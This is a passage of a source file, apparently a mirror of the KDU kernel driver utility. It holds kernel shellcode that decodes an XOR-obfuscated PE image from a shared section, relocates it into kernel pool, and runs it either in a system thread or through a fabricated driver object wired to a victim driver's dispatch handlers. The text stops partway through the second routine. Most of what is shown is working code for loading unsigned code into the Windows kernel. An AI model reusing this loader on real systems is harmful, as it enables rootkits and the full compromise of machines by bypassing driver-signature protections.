mirror of
https://github.com/hfiref0x/KDU
synced 2026-06-21 13:53:28 +00:00
383f8929a2
Improve diagnostics and fix some bugs Signed-off-by: hfiref0x <hfiref0x@users.noreply.github.com>
2099 lines
61 KiB
C++
2099 lines
61 KiB
C++
/*******************************************************************************
|
|
*
|
|
* (C) COPYRIGHT AUTHORS, 2020 - 2026
|
|
*
|
|
* TITLE: SHELLCODE.CPP
|
|
*
|
|
* VERSION: 1.48
|
|
*
|
|
* DATE: 01 Apr 2026
|
|
*
|
|
* Default driver mapping shellcode(s) implementation.
|
|
*
|
|
* THIS CODE AND INFORMATION IS PROVIDED "AS IS" WITHOUT WARRANTY OF
|
|
* ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING BUT NOT LIMITED
|
|
* TO THE IMPLIED WARRANTIES OF MERCHANTABILITY AND/OR FITNESS FOR A
|
|
* PARTICULAR PURPOSE.
|
|
*
|
|
*******************************************************************************/
|
|
|
|
#include "global.h"
|
|
|
|
|
|
//
|
|
// WARNING: shellcode DOESN'T WORK in DEBUG
|
|
//
|
|
|
|
//
|
|
// Compiler/Linker:
|
|
//
|
|
// Disable: GS/Spectre/SDL and other bullshit.
|
|
// Favor Size & small code.
|
|
//
|
|
|
|
#define OB_DRIVER_PREFIX L"\\Driver\\"
|
|
#define OB_DRIVER_PREFIX_SIZE sizeof(OB_DRIVER_PREFIX) - sizeof(WCHAR)
|
|
#define OB_DRIVER_PREFIX_MAXSIZE sizeof(OB_DRIVER_PREFIX)
|
|
|
|
#define MAX_BASE_SCIMPORTS_NODBGPRINT 7
|
|
|
|
//
|
|
// Import functions for shellcode.
|
|
//
|
|
typedef struct _FUNC_TABLE {
|
|
#ifdef ENABLE_DBGPRINT
|
|
pfnDbgPrint DbgPrint;
|
|
#endif
|
|
pfnExAllocatePoolWithTag ExAllocatePoolWithTag;
|
|
pfnIofCompleteRequest IofCompleteRequest;
|
|
pfnZwMapViewOfSection ZwMapViewOfSection;
|
|
pfnZwUnmapViewOfSection ZwUnmapViewOfSection;
|
|
pfnObReferenceObjectByHandle ObReferenceObjectByHandle;
|
|
pfnObfDereferenceObject ObfDereferenceObject;
|
|
pfnKeSetEvent KeSetEvent;
|
|
} FUNC_TABLE, * PFUNC_TABLE;
|
|
|
|
//
|
|
// Shellcode layout structure.
|
|
//
|
|
|
|
//
|
|
// InitCode 16
|
|
// BootstrapCode BOOTSTRAPCODE_SIZE_VX
|
|
// Tag 4
|
|
// SectionViewSize 8
|
|
// MmSectionObjectType 8
|
|
// SectionHandle 8
|
|
// ReadEventHandle 8
|
|
// Import sizeof(FUNC_TABLE)
|
|
//
|
|
// Expected sizeof is 2048
|
|
//
|
|
|
|
//
|
|
// Maximum shellcode size.
|
|
// This value must fit into 2kb of general SHELLCODE structure size.
|
|
//
|
|
#define SC_MAX_SIZE 2048
|
|
#define SC_INIT_CODE_SIZE 16
|
|
|
|
#pragma pack(push, 1)
|
|
#define BOOTSTRAPCODE_SIZE_V1 ( SC_MAX_SIZE - SC_INIT_CODE_SIZE - \
|
|
sizeof(ULONG) - sizeof(SIZE_T) - sizeof(PVOID) - sizeof(HANDLE) - sizeof(HANDLE) - sizeof(FUNC_TABLE) )
|
|
|
|
typedef struct _SHELLCODE {
|
|
BYTE InitCode[SC_INIT_CODE_SIZE];
|
|
BYTE BootstrapCode[BOOTSTRAPCODE_SIZE_V1];
|
|
ULONG Tag;
|
|
SIZE_T SectionViewSize;
|
|
PVOID MmSectionObjectType; // Pointer to pointer
|
|
HANDLE SectionHandle;
|
|
HANDLE ReadyEventHandle;
|
|
FUNC_TABLE Import;
|
|
} SHELLCODE, * PSHELLCODE;
|
|
#pragma pack(pop)
|
|
|
|
C_ASSERT(BOOTSTRAPCODE_SIZE_V1 > 0);
|
|
C_ASSERT(sizeof(SHELLCODE) == SC_MAX_SIZE);
|
|
C_ASSERT(FIELD_OFFSET(SHELLCODE, Tag) == SC_INIT_CODE_SIZE + BOOTSTRAPCODE_SIZE_V1);
|
|
C_ASSERT(FIELD_OFFSET(SHELLCODE, Import) + sizeof(FUNC_TABLE) == SC_MAX_SIZE);
|
|
|
|
//
|
|
// Globals used during debug.
|
|
//
|
|
static IO_STACK_LOCATION g_testIostl;
|
|
static ULONG64 g_DummyULONG64;
|
|
|
|
//
|
|
// ScBootstrapLdr.asm
|
|
//
|
|
// 00 call +5
|
|
// 05 pop rcx
|
|
// 06 sub rcx, 5
|
|
// 0A jmps 10
|
|
// 0B int 3
|
|
// 0C int 3
|
|
// 0D int 3
|
|
// 0E int 3
|
|
// 0F int 3
|
|
// 10 code
|
|
//
|
|
BYTE ScBootstrapLdr[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x59, 0x48, 0x83, 0xE9, 0x05, 0xEB, 0x04 };
|
|
|
|
//
|
|
// ScBootstrapLdrCommon.asm
|
|
//
|
|
// 00 call +5
|
|
// 05 pop r8
|
|
// 07 sub r8, 5
|
|
// 0B jmps 10
|
|
// 0D int 3
|
|
// 0E int 3
|
|
// 0F int 3
|
|
// 10 code
|
|
//
|
|
BYTE ScBootstrapLdrCommon[] = { 0xE8, 0x00, 0x00, 0x00, 0x00, 0x41, 0x58, 0x49, 0x83, 0xE8, 0x05, 0xEB, 0x03 };
|
|
|
|
/*
|
|
* ScGetBootstrapLdr
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Return shellcode bootstrap loader pointer and size.
|
|
*
|
|
*/
|
|
PVOID ScGetBootstrapLdr(
|
|
_In_ ULONG ShellVersion,
|
|
_Out_opt_ PULONG Size
|
|
)
|
|
{
|
|
ULONG size;
|
|
PVOID ptr;
|
|
|
|
switch (ShellVersion) {
|
|
case KDU_SHELLCODE_V4:
|
|
size = sizeof(ScBootstrapLdr);
|
|
ptr = ScBootstrapLdr;
|
|
break;
|
|
default:
|
|
size = sizeof(ScBootstrapLdrCommon);
|
|
ptr = ScBootstrapLdrCommon;
|
|
break;
|
|
}
|
|
|
|
if (Size) *Size = size;
|
|
return ptr;
|
|
}
|
|
|
|
/*
|
|
*
|
|
* Set of user mode test routines.
|
|
*
|
|
*/
|
|
FORCEINLINE
|
|
PIO_STACK_LOCATION IoGetCurrentIrpStackLocationTest(
|
|
PIRP Irp
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(Irp);
|
|
|
|
OutputDebugStringA("Inside IoGetCurrentIrpStackLocationTest\r\n");
|
|
|
|
g_testIostl.MajorFunction = IRP_MJ_CREATE;
|
|
return &g_testIostl;
|
|
}
|
|
|
|
NTSTATUS NTAPI DriverEntryTest(
|
|
_In_ struct _DRIVER_OBJECT* DriverObject,
|
|
_In_ PUNICODE_STRING RegistryPath
|
|
)
|
|
{
|
|
OutputDebugString(L"\r\n[>] DriverEntryTest\r\n");
|
|
|
|
OutputDebugString(RegistryPath->Buffer);
|
|
OutputDebugString(L"\r\nDriverObject->DriverName: ");
|
|
OutputDebugString(DriverObject->DriverName.Buffer);
|
|
|
|
OutputDebugString(L"\r\n[<] DriverEntryTest\r\n");
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
VOID NTAPI ObMakeTemporaryObjectTest(
|
|
PVOID Object)
|
|
{
|
|
UNREFERENCED_PARAMETER(Object);
|
|
|
|
OutputDebugStringA("Inside ObMakeTemporaryObjectTest\r\n");
|
|
}
|
|
|
|
NTSTATUS NTAPI ZwMakeTemporaryObjectTest(
|
|
HANDLE Handle)
|
|
{
|
|
UNREFERENCED_PARAMETER(Handle);
|
|
|
|
OutputDebugStringA("Inside ZwMakeTemporaryObjectTest\r\n");
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS NTAPI ObInsertObjectTest(
|
|
PVOID Object,
|
|
PACCESS_STATE AccessState,
|
|
ACCESS_MASK DesiredAccess,
|
|
ULONG ObjectPointerBias,
|
|
PVOID* NewObject,
|
|
PHANDLE Handle)
|
|
{
|
|
UNREFERENCED_PARAMETER(Object);
|
|
UNREFERENCED_PARAMETER(AccessState);
|
|
UNREFERENCED_PARAMETER(DesiredAccess);
|
|
UNREFERENCED_PARAMETER(ObjectPointerBias);
|
|
UNREFERENCED_PARAMETER(NewObject);
|
|
|
|
OutputDebugStringA("Inside ObInsertObjectTest\r\n");
|
|
|
|
*Handle = NULL;
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS NTAPI ObCreateObjectTest(
|
|
KPROCESSOR_MODE ProbeMode,
|
|
POBJECT_TYPE ObjectType,
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
KPROCESSOR_MODE OwnershipMode,
|
|
PVOID ParseContext,
|
|
ULONG ObjectBodySize,
|
|
ULONG PagedPoolCharge,
|
|
ULONG NonPagedPoolCharge,
|
|
PVOID* Object)
|
|
{
|
|
UNREFERENCED_PARAMETER(ProbeMode);
|
|
UNREFERENCED_PARAMETER(ObjectType);
|
|
UNREFERENCED_PARAMETER(ObjectAttributes);
|
|
UNREFERENCED_PARAMETER(OwnershipMode);
|
|
UNREFERENCED_PARAMETER(ParseContext);
|
|
UNREFERENCED_PARAMETER(PagedPoolCharge);
|
|
UNREFERENCED_PARAMETER(NonPagedPoolCharge);
|
|
|
|
OutputDebugStringA("Inside ObCreateObjectTest\r\n");
|
|
|
|
*Object = HeapAlloc(GetProcessHeap(), 0, ObjectBodySize);
|
|
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
VOID NTAPI ExQueueWorkItemTest(
|
|
PWORK_QUEUE_ITEM WorkItem,
|
|
WORK_QUEUE_TYPE QueueType)
|
|
{
|
|
UNREFERENCED_PARAMETER(WorkItem);
|
|
UNREFERENCED_PARAMETER(QueueType);
|
|
|
|
OutputDebugStringA("Inside ExQueueWorkItemTest\r\n");
|
|
}
|
|
|
|
PVOID NTAPI ExAllocatePoolWithTagTest(
|
|
POOL_TYPE PoolType,
|
|
SIZE_T NumberOfBytes,
|
|
ULONG Tag)
|
|
{
|
|
PVOID P;
|
|
UNREFERENCED_PARAMETER(PoolType);
|
|
UNREFERENCED_PARAMETER(Tag);
|
|
|
|
OutputDebugStringA("Inside ExAllocatePoolWithTagTest\r\n");
|
|
|
|
P = VirtualAlloc(NULL, NumberOfBytes, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
|
|
|
|
return P;
|
|
}
|
|
|
|
VOID NTAPI ExFreePoolTest(
|
|
PVOID P)
|
|
{
|
|
OutputDebugStringA("Inside ExFreePoolTest\r\n");
|
|
|
|
VirtualFree(P, 0, MEM_RELEASE);
|
|
}
|
|
|
|
VOID NTAPI ExFreePoolWithTagTest(
|
|
PVOID P,
|
|
ULONG Tag)
|
|
{
|
|
UNREFERENCED_PARAMETER(Tag);
|
|
|
|
OutputDebugStringA("Inside ExFreePoolWithTagTest\r\n");
|
|
|
|
VirtualFree(P, 0, MEM_RELEASE);
|
|
}
|
|
|
|
PVOID NTAPI MmGetSystemRoutineAddressTest(
|
|
PUNICODE_STRING SystemRoutineName
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(SystemRoutineName);
|
|
|
|
OutputDebugStringA("Inside MmGetSystemRoutineAddressTest\r\n");
|
|
return NULL;
|
|
}
|
|
|
|
VOID IofCompleteRequestTest(
|
|
VOID* Irp,
|
|
CCHAR PriorityBoost)
|
|
{
|
|
UNREFERENCED_PARAMETER(Irp);
|
|
UNREFERENCED_PARAMETER(PriorityBoost);
|
|
|
|
OutputDebugStringA("Inside IofCompleteRequestTest\r\n");
|
|
return;
|
|
}
|
|
|
|
NTSTATUS NTAPI ZwCloseTest(
|
|
HANDLE Handle
|
|
)
|
|
{
|
|
OutputDebugStringA("Inside ZwCloseTest\r\n");
|
|
|
|
if (Handle)
|
|
return NtClose(Handle);
|
|
else
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS NTAPI PsCreateSystemThreadTest(
|
|
PHANDLE ThreadHandle,
|
|
ULONG DesiredAccess,
|
|
POBJECT_ATTRIBUTES ObjectAttributes,
|
|
HANDLE ProcessHandle,
|
|
PCLIENT_ID ClientId,
|
|
PKSTART_ROUTINE StartRoutine,
|
|
PVOID StartContext)
|
|
{
|
|
UNREFERENCED_PARAMETER(ThreadHandle);
|
|
UNREFERENCED_PARAMETER(DesiredAccess);
|
|
UNREFERENCED_PARAMETER(ObjectAttributes);
|
|
UNREFERENCED_PARAMETER(ProcessHandle);
|
|
UNREFERENCED_PARAMETER(ClientId);
|
|
UNREFERENCED_PARAMETER(StartRoutine);
|
|
UNREFERENCED_PARAMETER(StartContext);
|
|
|
|
OutputDebugStringA("Inside PsCreateSystemThreadTest\r\n");
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS NTAPI KeSetEventTest(
|
|
PKEVENT Event,
|
|
KPRIORITY Increment,
|
|
BOOLEAN Wait
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(Event);
|
|
UNREFERENCED_PARAMETER(Increment);
|
|
UNREFERENCED_PARAMETER(Wait);
|
|
|
|
OutputDebugStringA("Inside KeSetEventTest\r\n");
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
NTSTATUS NTAPI ObReferenceObjectByHandleTest(
|
|
HANDLE Handle,
|
|
ACCESS_MASK DesiredAccess,
|
|
POBJECT_TYPE ObjectType,
|
|
KPROCESSOR_MODE AccessMode,
|
|
PVOID* Object,
|
|
PVOID HandleInformation
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(Handle);
|
|
UNREFERENCED_PARAMETER(DesiredAccess);
|
|
UNREFERENCED_PARAMETER(ObjectType);
|
|
UNREFERENCED_PARAMETER(AccessMode);
|
|
UNREFERENCED_PARAMETER(Object);
|
|
UNREFERENCED_PARAMETER(HandleInformation);
|
|
|
|
OutputDebugStringA("Inside ObReferenceObjectByHandleTest\r\n");
|
|
return STATUS_SUCCESS;
|
|
}
|
|
|
|
VOID NTAPI ObfDereferenceObjectTest(
|
|
PVOID Object
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(Object);
|
|
OutputDebugStringA("Inside ObfDereferenceObjectTest\r\n");
|
|
}
|
|
|
|
ULONG NTAPI DbgPrintTest(
|
|
PCHAR Format,
|
|
...
|
|
)
|
|
{
|
|
UNREFERENCED_PARAMETER(Format);
|
|
OutputDebugStringA("Inside DbgPrintTest\r\n");
|
|
return 0;
|
|
}
|
|
|
|
//
|
|
// In case if MSVC trashes shellcode use #pragma optimize("", off)
|
|
//
|
|
|
|
/*
|
|
* ScLoaderRoutineV1
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bootstrap shellcode variant 4 (executed as code from preallocated area).
|
|
* Read image from shared section, process relocs and run it in allocated system thread.
|
|
*
|
|
* IRQL: PASSIVE_LEVEL
|
|
*
|
|
*/
|
|
VOID NTAPI ScLoaderRoutineV1(
|
|
_In_ PSHELLCODE ShellCode
|
|
)
|
|
{
|
|
NTSTATUS status;
|
|
ULONG isz;
|
|
HANDLE hThread;
|
|
OBJECT_ATTRIBUTES obja;
|
|
ULONG_PTR img, exbuffer;
|
|
|
|
PIMAGE_DOS_HEADER dosh;
|
|
PIMAGE_FILE_HEADER fileh;
|
|
PIMAGE_OPTIONAL_HEADER popth;
|
|
PIMAGE_BASE_RELOCATION rel;
|
|
|
|
DWORD_PTR delta;
|
|
LPWORD chain;
|
|
DWORD c, rsz, k, off;
|
|
|
|
PUCHAR ptr;
|
|
|
|
PKEVENT ReadyEvent;
|
|
PVOID SectionRef, pvSharedSection = NULL, rawExAlloc;
|
|
SIZE_T ViewSize;
|
|
|
|
PPAYLOAD_HEADER_V1 PayloadHeader;
|
|
POBJECT_TYPE* ppSecType;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
|
|
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
|
|
#endif
|
|
|
|
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
|
|
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(
|
|
ShellCode->SectionHandle,
|
|
SECTION_ALL_ACCESS,
|
|
(ppSecType ? *ppSecType : NULL),
|
|
0,
|
|
(PVOID*)&SectionRef,
|
|
NULL);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
ViewSize = ShellCode->SectionViewSize;
|
|
|
|
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
|
|
NtCurrentProcess(),
|
|
(PVOID*)&pvSharedSection,
|
|
0,
|
|
PAGE_SIZE,
|
|
NULL,
|
|
&ViewSize,
|
|
ViewUnmap,
|
|
0,
|
|
PAGE_READWRITE);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
k = ShellCode->Tag;
|
|
|
|
PayloadHeader = (PAYLOAD_HEADER_V1*)pvSharedSection;
|
|
rsz = PayloadHeader->ImageSize;
|
|
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
|
|
|
|
while (rsz--) {
|
|
*ptr ^= k;
|
|
k = _rotl(k, 1);
|
|
ptr++;
|
|
}
|
|
|
|
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V1);
|
|
dosh = (PIMAGE_DOS_HEADER)img;
|
|
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
|
|
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
|
isz = popth->SizeOfImage;
|
|
|
|
//
|
|
// Allocate memory for mapped image.
|
|
//
|
|
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
|
|
NonPagedPool,
|
|
isz + PAGE_SIZE,
|
|
ShellCode->Tag);
|
|
|
|
if (rawExAlloc) {
|
|
|
|
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
|
|
delta = exbuffer - popth->ImageBase;
|
|
|
|
//
|
|
// Relocate image.
|
|
//
|
|
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
|
|
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
if (off && rsz && off + rsz <= isz) {
|
|
rel = (PIMAGE_BASE_RELOCATION)(img + off);
|
|
c = 0;
|
|
while (c < rsz) {
|
|
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
|
|
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
|
|
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
|
|
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
|
|
}
|
|
c += rel->SizeOfBlock;
|
|
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
|
|
}
|
|
}
|
|
}
|
|
|
|
//
|
|
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
|
|
//
|
|
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
|
|
|
|
//
|
|
// Create system thread with handler set to image entry point.
|
|
//
|
|
hThread = NULL;
|
|
InitializeObjectAttributes(&obja, NULL, OBJ_KERNEL_HANDLE, NULL, NULL);
|
|
|
|
status = PayloadHeader->PsCreateSystemThread(&hThread,
|
|
THREAD_ALL_ACCESS,
|
|
&obja,
|
|
NULL,
|
|
NULL,
|
|
(PKSTART_ROUTINE)(exbuffer + popth->AddressOfEntryPoint),
|
|
NULL);
|
|
|
|
if (NT_SUCCESS(status))
|
|
PayloadHeader->ZwClose(hThread);
|
|
|
|
//
|
|
// Save result.
|
|
//
|
|
PayloadHeader->IoStatus.Status = status;
|
|
|
|
} //ExAllocatePoolWithTag(rawExAlloc)
|
|
|
|
ShellCode->Import.ZwUnmapViewOfSection(NtCurrentProcess(),
|
|
pvSharedSection);
|
|
|
|
} //ZwMapViewOfSection(pvSharedSection)
|
|
|
|
ShellCode->Import.ObfDereferenceObject(SectionRef);
|
|
|
|
//
|
|
// Fire the event to let userland know that we're ready.
|
|
//
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(
|
|
ShellCode->ReadyEventHandle,
|
|
SYNCHRONIZE | EVENT_MODIFY_STATE,
|
|
NULL,
|
|
0,
|
|
(PVOID*)&ReadyEvent,
|
|
NULL);
|
|
if (NT_SUCCESS(status))
|
|
{
|
|
ShellCode->Import.KeSetEvent(ReadyEvent, 0, FALSE);
|
|
ShellCode->Import.ObfDereferenceObject(ReadyEvent);
|
|
}
|
|
|
|
} // ObReferenceObjectByHandle success
|
|
|
|
}
|
|
|
|
/*
|
|
* ScDispatchRoutineV3
|
|
*
|
|
* Purpose:
|
|
*
|
|
* Bootstrap shellcode variant 3.
|
|
* Read image from shared section, process relocs, allocate driver object and run driver entry point.
|
|
*
|
|
* N.B. This shellcode version is for a very specific use only. Refer to docs for more info.
|
|
*
|
|
* IRQL: PASSIVE_LEVEL
|
|
*
|
|
*/
|
|
NTSTATUS NTAPI ScDispatchRoutineV3(
|
|
_In_ struct _DEVICE_OBJECT* DeviceObject,
|
|
_Inout_ struct _IRP* Irp,
|
|
_In_ PSHELLCODE ShellCode)
|
|
{
|
|
NTSTATUS status;
|
|
ULONG isz;
|
|
ULONG_PTR img, exbuffer;
|
|
|
|
PIO_STACK_LOCATION StackLocation;
|
|
|
|
PIMAGE_DOS_HEADER dosh;
|
|
PIMAGE_FILE_HEADER fileh;
|
|
PIMAGE_OPTIONAL_HEADER popth;
|
|
PIMAGE_BASE_RELOCATION rel;
|
|
|
|
DWORD_PTR delta;
|
|
LPWORD chain;
|
|
DWORD c, rsz, k, off;
|
|
|
|
PUCHAR ptr;
|
|
|
|
PKEVENT ReadyEvent;
|
|
PVOID SectionRef, pvSharedSection = NULL, IopInvalidDeviceIoControl, rawExAlloc;
|
|
SIZE_T ViewSize;
|
|
|
|
PPAYLOAD_HEADER_V3 PayloadHeader;
|
|
|
|
ULONG objectSize;
|
|
HANDLE driverHandle;
|
|
PDRIVER_OBJECT driverObject;
|
|
POBJECT_TYPE* ppSecType;
|
|
OBJECT_ATTRIBUTES objectAttributes;
|
|
UNICODE_STRING driverName, regPath;
|
|
|
|
#ifdef ENABLE_DBGPRINT
|
|
CHAR szFormat1[] = { 'S', '%', 'l', 'x', 0 };
|
|
CHAR szFormat2[] = { 'F', '%', 'l', 'x', 0 };
|
|
#endif
|
|
|
|
#ifdef _DEBUG
|
|
StackLocation = IoGetCurrentIrpStackLocationTest(Irp);
|
|
#else
|
|
StackLocation = IoGetCurrentIrpStackLocation(Irp);
|
|
#endif
|
|
|
|
if ((StackLocation->MajorFunction == IRP_MJ_CREATE)
|
|
&& (DeviceObject->SectorSize == 0))
|
|
{
|
|
ppSecType = (POBJECT_TYPE*)ShellCode->MmSectionObjectType;
|
|
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(
|
|
ShellCode->SectionHandle,
|
|
SECTION_ALL_ACCESS,
|
|
(ppSecType ? *ppSecType : NULL),
|
|
0,
|
|
(PVOID*)&SectionRef,
|
|
NULL);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
ViewSize = ShellCode->SectionViewSize;
|
|
|
|
status = ShellCode->Import.ZwMapViewOfSection(ShellCode->SectionHandle,
|
|
NtCurrentProcess(),
|
|
(PVOID*)&pvSharedSection,
|
|
0,
|
|
PAGE_SIZE,
|
|
NULL,
|
|
&ViewSize,
|
|
ViewUnmap,
|
|
0,
|
|
PAGE_READWRITE);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
k = ShellCode->Tag;
|
|
|
|
PayloadHeader = (PAYLOAD_HEADER_V3*)pvSharedSection;
|
|
rsz = PayloadHeader->ImageSize;
|
|
ptr = (PUCHAR)pvSharedSection + sizeof(PAYLOAD_HEADER_V3);
|
|
|
|
while (rsz--) {
|
|
*ptr ^= k;
|
|
k = _rotl(k, 1);
|
|
ptr++;
|
|
}
|
|
|
|
img = (ULONG_PTR)pvSharedSection + sizeof(PAYLOAD_HEADER_V3);
|
|
dosh = (PIMAGE_DOS_HEADER)img;
|
|
fileh = (PIMAGE_FILE_HEADER)(img + sizeof(DWORD) + dosh->e_lfanew);
|
|
popth = (PIMAGE_OPTIONAL_HEADER)((PBYTE)fileh + sizeof(IMAGE_FILE_HEADER));
|
|
isz = popth->SizeOfImage;
|
|
|
|
//
|
|
// Allocate memory for mapped image.
|
|
//
|
|
rawExAlloc = ShellCode->Import.ExAllocatePoolWithTag(
|
|
NonPagedPool,
|
|
isz + PAGE_SIZE,
|
|
ShellCode->Tag);
|
|
|
|
if (rawExAlloc) {
|
|
|
|
exbuffer = ((ULONG_PTR)rawExAlloc + (PAGE_SIZE - 1)) & ~(PAGE_SIZE - 1);
|
|
delta = exbuffer - popth->ImageBase;
|
|
|
|
//
|
|
// Relocate image.
|
|
//
|
|
if (popth->NumberOfRvaAndSizes > IMAGE_DIRECTORY_ENTRY_BASERELOC) {
|
|
off = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress;
|
|
rsz = popth->DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
|
|
if (off && rsz && off + rsz <= isz) {
|
|
rel = (PIMAGE_BASE_RELOCATION)(img + off);
|
|
c = 0;
|
|
while (c < rsz) {
|
|
chain = (LPWORD)((PUCHAR)rel + sizeof(IMAGE_BASE_RELOCATION));
|
|
for (off = sizeof(IMAGE_BASE_RELOCATION); off < rel->SizeOfBlock; off += sizeof(WORD), chain++) {
|
|
if ((*chain >> 12) == IMAGE_REL_BASED_DIR64)
|
|
*(PULONG_PTR)(img + rel->VirtualAddress + (*chain & 0x0FFF)) += delta;
|
|
}
|
|
c += rel->SizeOfBlock;
|
|
rel = (PIMAGE_BASE_RELOCATION)((PUCHAR)rel + rel->SizeOfBlock);
|
|
}
|
|
}
|
|
}
|
|
|
|
//
|
|
// Copy image to allocated buffer. We can't use any fancy memcpy stuff here.
|
|
//
|
|
__movsb((PUCHAR)exbuffer, (const UCHAR*)img, isz);
|
|
|
|
//
|
|
// Remember Victim IRP_MJ_PNP as invalid device request handler.
|
|
//
|
|
IopInvalidDeviceIoControl = DeviceObject->DriverObject->MajorFunction[IRP_MJ_PNP];
|
|
|
|
driverName.Buffer = PayloadHeader->ObjectName.Buffer;
|
|
driverName.Length = PayloadHeader->ObjectName.Length;
|
|
driverName.MaximumLength = PayloadHeader->ObjectName.MaximumLength;
|
|
|
|
InitializeObjectAttributes(&objectAttributes, &driverName,
|
|
OBJ_PERMANENT | OBJ_CASE_INSENSITIVE, NULL, NULL);
|
|
|
|
//
|
|
// We cannot use IoCreateDriver here as it supply DriverEntry with NULL as registry path.
|
|
//
|
|
|
|
//
|
|
// Calculate object body size, number of bytes used by ObManager in ExAllocate* call.
|
|
// Must include driver object body and real size of driver extension which tail is opaque
|
|
// and different on various versions of NT. Assume 40 extra bytes (as on Win10) is currently enough.
|
|
//
|
|
// N.B. Correct this size according to future IopDeleteDriver changes.
|
|
//
|
|
objectSize = sizeof(DRIVER_OBJECT) +
|
|
sizeof(DRIVER_EXTENSION) +
|
|
40;
|
|
|
|
status = PayloadHeader->ObCreateObject(KernelMode, *(POBJECT_TYPE*)PayloadHeader->IoDriverObjectType,
|
|
&objectAttributes, KernelMode, NULL, objectSize, 0, 0, (PVOID*)&driverObject);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
__stosb((PUCHAR)driverObject, 0, objectSize);
|
|
|
|
driverObject->DriverExtension = (PDRIVER_EXTENSION)(driverObject + 1);
|
|
driverObject->DriverExtension->DriverObject = driverObject;
|
|
driverObject->Type = IO_TYPE_DRIVER;
|
|
driverObject->Size = sizeof(DRIVER_OBJECT);
|
|
driverObject->Flags = DRVO_BUILTIN_DRIVER;
|
|
driverObject->DriverInit = (PDRIVER_INITIALIZE)(exbuffer + popth->AddressOfEntryPoint);
|
|
|
|
for (c = 0; c <= IRP_MJ_MAXIMUM_FUNCTION; c++)
|
|
driverObject->MajorFunction[c] = IopInvalidDeviceIoControl;
|
|
|
|
//
|
|
// Allocate DriverExtension->ServiceKeyName. Failure is insignificant.
|
|
// In case of NULL ptr IopDeleteDriver will handle this correctly.
|
|
//
|
|
driverObject->DriverExtension->ServiceKeyName.Buffer = (PWSTR)ShellCode->Import.ExAllocatePoolWithTag(PagedPool,
|
|
driverName.Length + sizeof(WCHAR), SHELL_POOL_TAG);
|
|
if (driverObject->DriverExtension->ServiceKeyName.Buffer) {
|
|
driverObject->DriverExtension->ServiceKeyName.MaximumLength = driverName.MaximumLength;
|
|
driverObject->DriverExtension->ServiceKeyName.Length = driverName.Length;
|
|
__movsb((PUCHAR)driverObject->DriverExtension->ServiceKeyName.Buffer, (UCHAR*)driverName.Buffer, driverName.Length);
|
|
}
|
|
|
|
status = PayloadHeader->ObInsertObject(driverObject, 0, FILE_READ_ACCESS, 0, NULL, &driverHandle);
|
|
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
//
|
|
// Reference object so we can close driver handle without object going away.
|
|
//
|
|
status = ShellCode->Import.ObReferenceObjectByHandle(driverHandle, 0, *(POBJECT_TYPE*)PayloadHeader->IoDriverObjectType,
|
|
KernelMode, (PVOID*)&driverObject, NULL);
|
|
if (NT_SUCCESS(status)) {
|
|
|
|
PayloadHeader->ZwClose(driverHandle);
|
|
|
|
//
|
|
// Allocate DriverObject->DriverName. Failure is insignificant.
|
|
// In case of NULL ptr IopDeleteDriver will handle this correctly.
|
|
//
|
|
